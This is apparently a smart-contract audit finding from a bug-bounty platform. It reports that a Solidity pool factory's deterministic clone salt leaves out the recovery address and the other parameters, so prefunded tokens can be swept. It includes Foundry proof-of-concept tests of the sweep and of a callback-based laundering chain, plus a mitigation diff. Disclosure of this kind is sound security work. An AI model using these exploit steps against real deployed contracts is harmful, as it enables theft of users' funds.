FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: medium
Likelihood: low

Deterministic pool address does not commit to recovery configuration and can sweep prefunds

Author Revealed upon completion

Deterministic pool address does not commit to recovery configuration and can sweep prefunds

Description

A counterfactual pool address should commit to the economic parameters a funder relies on, especially stakeToken and recoveryAddress. The factory salt only commits to (agreement, index). A third party can prefund the predicted clone address, then the agreement owner can create the pool at that address with a different recovery configuration and sweep the prefund.

Vulnerability Details

The deterministic salt excludes the token, expiry, minimum stake, recovery address, and scope:

bytes32 salt = keccak256(abi.encode(agreement, _poolsByAgreement[agreement].length));
pool = Clones.cloneDeterministic(poolImplementation, salt);

The pool is then initialized with creator-controlled economic parameters:

IConfidencePool(pool).initialize(
agreement,
stakeToken,
address(safeHarborRegistry),
defaultOutcomeModerator,
expiry,
minStake,
recoveryAddress,
msg.sender,
accounts
);

If an integration or user transfers tokens to the predicted pool address before PoolCreated, the eventual creator can choose a recovery address that captures those unaccounted tokens after expiry.

Impact

Prefunded tokens can be captured by the creator-selected recoveryAddress.

Integrations relying on predicted pool addresses can lose funds without ever interacting with stake().

This also combines with balance-delta callback accounting: a prefunded source pool can be deployed with recoveryAddress = PoolA, swept during a callback, and credited as attacker stake in PoolA. The salt issue is the setup that allows the prefund to be captured through the chosen recovery path.

Proof of Concept

function testCreate2Prefund() external {
bytes32 salt = keccak256(abi.encode(address(agreement), uint256(0)));
address predicted = Clones.predictDeterministicAddress(factory.poolImplementation(), salt, address(factory));
token.mint(predicted, 100e18);
address created = factory.createPool(
address(agreement),
address(token),
block.timestamp + 31 days,
1e18,
attackerRecovery,
_scope()
);
assertEq(created, predicted);
ConfidencePool(created).claimExpired();
ConfidencePool(created).sweepUnclaimedBonus();
}

Prefund laundering composition:

function testPrefundCallback() external {
address predictedPoolB = Clones.predictDeterministicAddress(address(implementation), salt, address(factory));
token.mint(predictedPoolB, 25e18);
address poolBAddress = factory.createPool(
agreementB,
address(token),
block.timestamp + 31 days,
1e18,
address(poolA),
_defaultScope()
);
assertEq(poolBAddress, predictedPoolB);
token.armTransferFromHook(address(poolA), attacker, address(poolA), address(batch), sweepPoolBCalls);
poolA.stake(1e18);
poolA.withdraw();
}

Recommended Mitigation

Commit all economically relevant configuration into the deterministic salt.

-bytes32 salt = keccak256(abi.encode(agreement, _poolsByAgreement[agreement].length));
+bytes32 salt = keccak256(abi.encode(
+ agreement,
+ _poolsByAgreement[agreement].length,
+ stakeToken,
+ expiry,
+ minStake,
+ recoveryAddress,
+ keccak256(abi.encode(accounts))
+));

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!